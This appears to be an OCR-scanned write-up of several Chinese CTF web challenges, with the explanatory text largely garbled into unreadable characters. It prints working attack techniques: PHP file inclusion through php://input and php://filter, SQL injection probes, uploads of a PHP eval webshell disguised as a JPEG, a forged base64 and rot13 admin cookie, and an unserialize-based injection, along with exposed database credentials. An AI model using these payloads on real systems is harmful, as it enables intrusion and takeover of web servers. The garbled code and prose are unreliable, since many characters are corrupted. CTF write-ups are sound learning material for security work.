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(1) include

==hint: ¥4 ! iR CHE SRR =
BT, KRIL

shm _soaree (__PILE_ )
if |:$4W\LWIBSTI path’ 1101
Leadha % _REQUEST [ gauthi' 1)
Beloe|
inolade (' phpinfa, ph’ )

Sywtem Linuex a6270ccdZebb 3.10.0-327.36.3.017 286_64 21 SMP Mon Oct 24 160520 UTC 3016 w86 64
‘Build Date Der 13 2016 00:04:38
Corfigure Command fhome/buildozer/aports/main/ phpi/sr/phe-5. re --build =25 ﬁ-l-lbmr-ﬁmmsi

hast=ubh_B4-alpine-Bra-must '+ prefin fusr *--syscontdies fete/phps’ —lacalstatedicz fvar -

layeua =GN Mp—dﬂ.w-}wﬂ\p! -‘ﬂ--eanﬁg-fw-d:r-m'!d# -Md:lr—
inline-optimization’ —duuble-ddng ~disable-rpath’ - stotic’ "--enable-shared"

mnandir= fusr/share/man’ *--with-pic’ * -duhle—di‘ mw m—bﬂl"ﬂ\:ﬁhﬂtﬂ' ~with-
ba2=shared' - -anable-calendar=shared "--with-cdb’ "-enable-ctype=shared' '--with-curl=shared' *-
erable-dba=shared’ '--with-dbd=shared' " -ﬂer-dnm!lhmd‘ --with-enchant=shared" ' -\meblr-
enif=ghared’ * mwrw --enable-fip=shared "—with-gd=shared" - :n.lhle-gli—
mative-tl '--with-gdbm=shared' 'aith-gattest=shared - wlﬂa-qmp-ul\u'd' ouith-icany=shared '-
weith-scu-dlir= fusr’ “~weith-imap=shared" " -ﬁlhmm-sd-‘hnwd --enable-irt]= lllr!d‘—mﬁw
d'l' !hmd_ms# —aﬂﬂe—jsun-md' m-idup shared’ e g
mqlxlhuldmlld " omith =gl
ndc-MrMmWﬂn‘lﬂH.mk‘ -vﬂhnwl thared mysgind’ —with-cpenssl=sharad” '--with-
pore-rege=fus —snable-po ed --enable-pdo=s -mtpd ysgl=shared mysglnd '

YRR AT AT LLIR AR — N pathi &, #idctri+f& Kallow_url_include, RILRZITFRE:

| Lalat i A b Ll I AT I
allow_url fopen Off off

allow_url include On on

always_populate_raw_post_data 0 [i]

arg_separator.input & &
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iload | & spit | ) Run
http://947f14cT741ca48c5%=
adbadfcc200715fc95fc947dd | }

64452, game. ichungiu. com
/?path=php://input

Enable Post data
<?php echo system( 15" )7>

K IUATHE B & flag 9 3 1F

<?php
show_source(_FILE_ );
if(isset (§_REQUEST[ path’ 1)) {
include ($_REQUEST[ path’ 1) ;
}elsed
include (’ phpinfo. php’ ) ;
}
dle345aae.php index.php phpinfo.php phpinfo.php

¥ 8 Fphp:/flilter i B 5 R 8 R U N, FEAPHPUHRIEANREE R Z RN, FreMEM T base644mis &R

/1080 | g SPIT | oKun |
47dd644a2. game. ichungiu »
. com/?path=php://filter
/read=convert. basef4-

encode ”
/resource=dle345aae. php
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<7php
show_source(_ FILE_);
if (isset ($_RBQUEST[ path' 1)) {
include (§_REQUEST[' path’]);
Jelza{
include (" phpinfo. php' ) ;

PD9waHAgCIRmbGFnPSImbGFne2lzMDhjMmYALWM 1MjctNGFNCOSZjUOLTVhNZRmMMGRhNmIwMHDIiOwo =

(2> sQL
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1| <meta httprequuv="Cantent-Type” contert="text/himl; charset=utf-8" />

4 £'——SELECT * FROM info WHERE idel-—><br /Soflag {(TEMIBED) br /e />

IRBA B ANEAsqEN, FXIRhackbar#iT FahiEN, GBRFE

http:

{meta http—equiv="Content-Type” content="text/html: charset=utf-8" />
inj code!

WHAFELIE, KA, RBIAKRST, ™7, REZR<SKIATEL

http:

<{meta http—equiv="Content-Type” content="text/html; charset=utf-8" />

I—SELECT * FROW info WHERE id=l order by 4—<br />

BOARIEE R, PO T RESB TR AR —iE#2, RERALERELER, HIFT

http:

http:

{meta http—equiv="Content-Type  content="text/html: charset=utf-8" />

|—SELECT * FROM info WHERE id=1 order by 3—Xbr />flag{fE2BEd)<br /><br />
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(3) Do you know upload
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Filename: | EsEsit | SRSREAE

Submit

RS B, AE EECLEHFHPHP—AIERS

W5 B Njpghs R AR, FFSCphp/E 48t AT LA Zh L4%

POST i HTTPM A

Host: 35d6f08fafab4487868d45225e8ce1 ddE560fedE530e483f . game ichungiu.com
User-Agent: Mozilla/.0 (Windows MT 10.0; Wing4, x64; rv:81.0) Gecko/20100101 Firefox/a1.0
Accept: text/tml application/xhtml+xml application/xml;g=0.9 ** g=0.8

Accept-Language: zh-CM zh;g=0.8 zh-TWW,g=0.7 zh-HK;g=0.5 en-US;gq=0.3 en,g=0.2
Accept-Encaoding. gzip, deflate

Referer: hitpcf35dE6f08fafab4487868d45225e8ce] ddB560fedEE30e463 . game ichungiu.com/
Content-Type: multipart/form-data; boundary=------ 41184676334
Content-Length: 403

Connection: close

Upgrade-Insecure-Reguests: 1

41184676334
Content-Disposition: form-data; name="dir"

Muploads/

41184676334
Content-Disposition: form-data; name="file"} filename="1 .phpl
Content-Type: image/jpeg

=Tphp evall$_POST[aT), 7=
41184676334
Content-Disposition: form-data; name="submit"

Submit
41184676334~

BB AT D4t EA& T 1.php3fF, EBRCFE, MRESE K Liepa EREE: upload/1.php



EH L

Filename: FEET,

Upload: 1.php

Type: image/jpeg
Size: 0.025390625 Kb
1.php already exists.

WIERSIIESE, 1T

¢ W var upload 2018-09-03 05:07-19 18 | o758
o i www I [config.php Z017-10-16 15:44-40 281 | oo

o ] EE] 1970-01-01 00:00-00 | []
& upload Tndex php 2017-10-16 15:44-40 1722 0644

KIconfig.phpHicti.sql, flaghiizfFIESIEEF, riFFconfig.phprl LLE ZIEHE EHIE B

=?php

error_reporting(0});
session_start();
Fsemnvername = "localhost™;
Fusername = "cif";
Fpasswoard = "cifctict™
Fdatabase = "cif";

I B R

Fconn = mysgl_connect{fservername fusername, fpassword) or die(” connect to mysqgl error’);
mysql_select_dblfdatabase);

7|

SR JE FISE T) 9% B shelliE# B H iR FE & Eflag.
(4) broken

==hint: you got a file,but...==
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(5) who are you?
==hint: WA, AW, REMMHA? ==

RITEER# %, B

Sorry. You have no permissions.



ARG PV R Blcookie S # A 1) 31

GET /HTTP/M A

Host: 106.75.72.168:2222

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, xE4, rv:61.0) Gecko/20100101 Firefox/&E1.0
Accept: text/html applicationfhtml+xml applicationimlg=0.9 ** g=0.8

Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en,g=0.2
Accept-Encoding: gzip, deflate

Cookie: role=Zjo1 QiJ0aHJImZyl7

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control. max-age=0

KM Rbase6amiy, LT

£:5: thrfg" ;|

Rot13, BT AMEILA Blguest, 2K guesti ladminf 4 1T Rot13 %43 2] Zjo10iJucXp2YSI7, HEHiB A cookieH

GET/HTTPM A ' HTTPA .1 200 OK i
Host: 106 75.72.168:2222 l Date: Mon, 03 Sep 2018 13:20:117 GMT r
User-Agent: Mozilla’s.0 (Windows NT 10.0, Wing4; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Server: Apache/2.4.7 (Ubuntu)
Accept: texthtml application/xhtml+xml applicationmlg=0.9 *#* g=0 8 ¥-Powered-By: PHP/S 5 9-1uburtud 22
Accept-Language: zh-CN,zh;g=0.8,zh-TW,g=0.7 zh-HK; g=0.5 en-US;q=0.3 en;g=0.2 Vary: Accept-Encoding
Accept-Encoding: gzip, deflate Content-Length: 210
Cookie: role=Zjo10iJucXp2YSI7 Connection: close
Connection: close Content-Type: textmhtml
Upgrade-Insecure-Reguests: 1
Cache-Control: max-age=0 <iD0CTYPE html>

<html=

<head=

<title=<Aitle=
=head=
<hody>

=L §filename = §_POST[filename] $data = §_POST]data’], —-Hello admin, now you can upload something you are easy to
forget.<hody>
<html=

HUE B CEmRIh SR B WAL b, 50A —%IER

B LK & R BEBURPOSTER, REHA



POST THTTPA 1

Host: 106.75.72.168:2222

User-Agent: Mozilla/s .0 (Windows NT 10.0; Wing4; x64; rv:81.0) Gecko/20100101 Firefox/&1.0
Accept: textihtml licationfhtml+xml lication/xm 0 g=0.8
Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK;q=0.5 en-US; g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Cookie: role=Zjo10iJuc¥p2¥sI7

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

Content-Type: applicationi-www-form-urlencoded

Content-Length: 48

filename=2 php&dataf]=<7php eval(5_POST[a]) 7>

®EE, MAREFEFRT USRI fag.
(6) Login

==hint: fnl, WEFIR==

RV, R—NEFRFE

Username:

A HTTP/M .1 200 OK

r Date: Mon, 03 Sep 2018 13:31:34 GMT
Server: Apache/2.4.7 (Uburtu)
H-Powered-By: PHP/S.5.9-1uburitud 22
Wary: Accept-Encoding
Contert-Length: 144
Connection: close
Content-Type: textihtml

<ID0CTYPE htmi=
<html=
<headl=
<title=<fitle=
</head=
<hody=
your fileis in 19 191del .php=hody=
<ihtml=

IER4

Username

Password:

Password

LOG IN

fitweb @ > R4 K ST REAIEE, KO—ATHR, BARERE T



<fformy

<hd style="color: red” rerror!! < hd> < ddvr
<body>
</htmls

I—— testl testl —>

BURKSEN, MAERRKABRDER, RMERTHEEMHLKE, NEEE

Name Value
HTTPM.1 200 OK
Server nginxM.10.2
Date Tue, 04 Sep 2018 02:31:24 GMT
Content-Type text/html;charset=utf-2
Content-Length 69
Connection close
X-Powered-By PHP#5.5.9-1ubuntud 1
Expires
Cache-Control
Pragma
|| show
Vary Accept-Encoding

RImember.phpiX Tl iR Bl 1 —A-showS %, J&n] ishow source, FTLARE, i b—A~showZSHH ¥ 41



GET imember php HTTPA 1

Host: 7c78224922e14951a8600391 6216166968337 4d25a3440de game ichungiu.com
User-Agent: Mozilla/s 0 (Windows NT 10.0; Wing4, x84, rv:81.0) Geckoi20100101 Firefox/81.0
Accept: text/html ication/xhtmi+xml applicationbanl,q=0.9 **q=0.8

Accept-Language: zh-CM zh;q=0.8,zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en,g=0.2
Accept-Encodina, g, deflate

Referer: http: /Tc78224922:f4951a8600391 6216166968337 4d25a3440de. game ichungiu.comfindex php?error=1
Cookie: PHPSESSID=eui2fg3nciT vdhmhirOpdddu?

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

RIEHH I T HED

I

Pragma; no-cache
Yary: Accept-Encoding

<head=
<meta charset="utf-8" /=
<thead=

class db

N
pubiic $where;
Function __wakeup()
¢
if{fempty(3this-=where))
¢
$this->select{$this-=where);
1

function select($where)
¢
guery(‘select * from user where *Swhere);

TP SO "

HERBRX B 5 A

121713 Eltoken

elxLtDK0Oqi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAodoKXA==

SR )5 1 B cookie H #2325t 7T LAFS Blflag .
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